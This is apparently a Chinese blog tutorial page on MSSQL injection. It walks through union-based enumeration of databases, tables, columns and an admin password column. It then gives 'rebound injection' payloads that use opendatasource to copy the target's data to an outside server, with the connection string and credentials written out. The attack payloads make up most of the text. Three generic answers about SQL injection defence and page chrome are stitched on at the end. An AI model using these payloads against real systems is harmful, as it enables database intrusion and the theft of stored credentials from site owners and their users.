web安全入门(第五章-4)反弹注入

一、MSSQL反弹注入使用场景

	0,MSSQL数据库就是Sql server数据库
	1,前言
		MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,
		存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路
	2,遇到问题
		明明有注入点却无法进行注入,工具攻击速度也是异常缓慢,错误提示信息关闭,
		无法返回注入结果,这些都是在注入攻击中常常遇到的问题。为例解决以上的疑难杂症,
		我们来学习反弹注入,反弹注入则依靠opendatasource函数支持
	3,简单总结
		反弹注入就是利用opendatasource函数,将当前数据库中的查询结果发送给另一个数据库中

二、快速搭建一个MSSQL环境

1,利用十分钟邮箱(例如:bccto.me)在香港云上白嫖一个服务器(webweb.com)
2,根据目标数据库,建立相同类型数据库,建立表(表名随意),字段(名字随意,字段一定相同)

三、MSSQL反弹注入语句解析

MSSQL于MYSQL不一样
联合查询为例:
	首先猜字段
	然后联合查询,要写union all
	然后猜输出点要使用NULL去填充


1.	例如:url id=1	
			id=1' union all select null,null,null from news -- qwe
			提一下:
					~union后注意有个 all
					~select后,不可以加1,2,3,也不是不可以,这的数据类型要一致。
						因为一般来说,我们都不知道,所以写null,即无类型
						之后,可以用asd来测试是不是字符,这样以此来测试
2,直接在sql server数据库中查询
	查库:	select name from dbo.sysdatabases	
			或者:select *from dbo.sysdatabases			
					//name是库默认属性
					//查询所有库,查出来有默认库,
	查表:	select *from dbo.sysobjects where xtype='U'	
					//稍微改一点关键词,注意增加xtype判断,后边的‘U’是用户的意思
					//代表查询用户创建的表,不然会查出很多表,
	查字段:select *from dbo.syscolumns where id=111

	id是SQL server表默认的字段,类似的还有name

显错注入

		判断是否存在注入
		输入and1=1 页面报错
		加一个’ 给他闭合
	
	查字段数
		‘ order by 3 页面正常
		‘ order by 4 页面错误 说明有3个字段
	MSSQL和MYSQL的区别
		联合查询最好加 all 发现加了all还是没有数据输出  mssql对语句比较严格,最好在填充位填 null 空的意思 页面正常,说明语法是对的

	找输出点
	先试试在第一个地方输入一个5
	页面出现一个5
		在第二个显错位输入字符串’a’ 页面正常
		在第三个显错位输入字符串’a’ 页面正常
	说明第一个只能输数字,因为union select他的核心在于要求两边的查询语句的结果的字段的数量和类型相同

	找到输出点,查询库名
	union all select dbid,name,null from master.dbo.sysdatabases

	查询表名
	union all select id,name,null from dbo.sysobjects where xtype='U'

	爆字段
	union all select null,name,null from dbo.syscolumns where id=1977058079

	爆内容
	union all select null,passwd,null from admin

反弹注入

	判断是否存在sql注入  ‘ and 1=1 -- qwe页面正常  ‘and 1=2 -- qwe页面错误 说名存在sql注入

	‘ order by 3 页面正常 order by 4 页面错误,说明存在三个字段
	在url栏中执行插入  页面正确,说明插入成功

	爆表名
	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select id,name,null,null from sysobjects where xtype='u'

	爆字段
	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select id,name,null,null from syscolumns where id=1977058079

	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select *from admin

	select *from aa  从aa表中查询所有内容

	语法:
	opendatasource(provider_name,init_string)
	provider_name:注册为用于访问数据源的OLEDB提供程序的UPROGID的名称,MSSQL的名称为SQLOLEDB
	init_string:
		连接字符串
		链接地址、端口、用户名、密码、数据库名
	'; insert into opendatasource('sqloledb','server=服务器地址;uid=用户;pwd=密码;database=库名').库名.dbo.表名 select * from admin
### 回答1: SQL注入是一种常见的攻击方式,攻击者通过在Web应用程序中注入恶意的SQL语句,从而获取敏感信息或者执行非法操作。SQL注入攻击的原理是利用Web应用程序没有对用户输入的数据进行充分的过滤和验证,从而导致恶意SQL语句被执行。为了防止SQL注入攻击,开发人员需要对用户输入的数据进行严格的过滤和验证,同时使用参数化查询等技术来防止SQL注入攻击。 ### 回答2: SQL注入攻击是指攻击者通过把恶意的SQL语句插入到应用程序输入数据中的方法,来实现非法操作或篡改数据的一种攻击技术。攻击者利用SQL注入漏洞可以获取敏感数据,改变数据库中的数据,甚至完全控制应用程序。 攻击者利用SQL注入漏洞,可以通过几种方法来实现攻击。以下是一些常见的SQL注入攻击方式: 1.基于错误的注入:攻击者可以通过注入恶意SQL语句,导致应用程序出现错误或异常,从而获得应用程序内部的敏感数据。 2.盲注注入:攻击者可以通过注入语句,来获取数据库信息,如数据库版本,或者判断SQL查询的结果是否正确。 3.联合查询注入:攻击者可以通过在注入语句中添加SELECT语句,来获取敏感数据或执行一些非法操作。 SQL注入攻击作为一种常见的网络攻击方式,需要我们在开发过程中加强对应用程序输入数据进行过滤和检查,以防止SQL注入漏洞。以下是一些预防SQL注入攻击的方法: 1.使用参数化查询:应用程序可以使用参数化查询语句,通过绑定参数来保证输入数据不会被作为SQL语句的一部分执行。 2.限制用户输入:应用程序可以限制用户输入的字符集合,或对用户输入的内容进行验证和过滤。 3.对于敏感数据,可以使用加密等措施来保证数据的安全性。 总之,应用程序开发者需要认识到SQL注入攻击的威胁,并在开发过程中采取一些预防措施来保证应用程序的安全性。 ### 回答3: SQL注入是一种常见的网络攻击方式,旨在通过在输入框或者URL中注入SQL代码,以达到破坏或者获取数据库数据的目的。SQL注入可以通过输入合法的SQL语句来实现,或者通过输入特定的字符来执行恶意代码。 SQL注入攻击的原理在于,攻击者在输入框或者URL中输入包含SQL关键词的字符,这些字符会被解释成SQL命令执行,并且会以其余参数的身份执行,这意味着该攻击可以以管理员的身份执行,且能获取数据库的全部数据。 SQL注入攻击的表现可以是网站遭到入侵或者数据库中数据突然消失或者受到修改。为了防止SQL注入攻击,应该首先排除参数化输入的漏洞,即对于用户输入的数据需要进行过滤,过滤掉控制字符,即可有效地防止SQL注入攻击。 总之,SQL注入攻击是一种网络安全威胁,要防范此类攻击,网站管理者应当在网站上做好安全措施,确保用户输入的数据进行有效的过滤和检查以保证安全性。同时,网站用户也应避免输入不必要的信息和暴露个人隐私等信息,以避免成为攻击者的目标。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值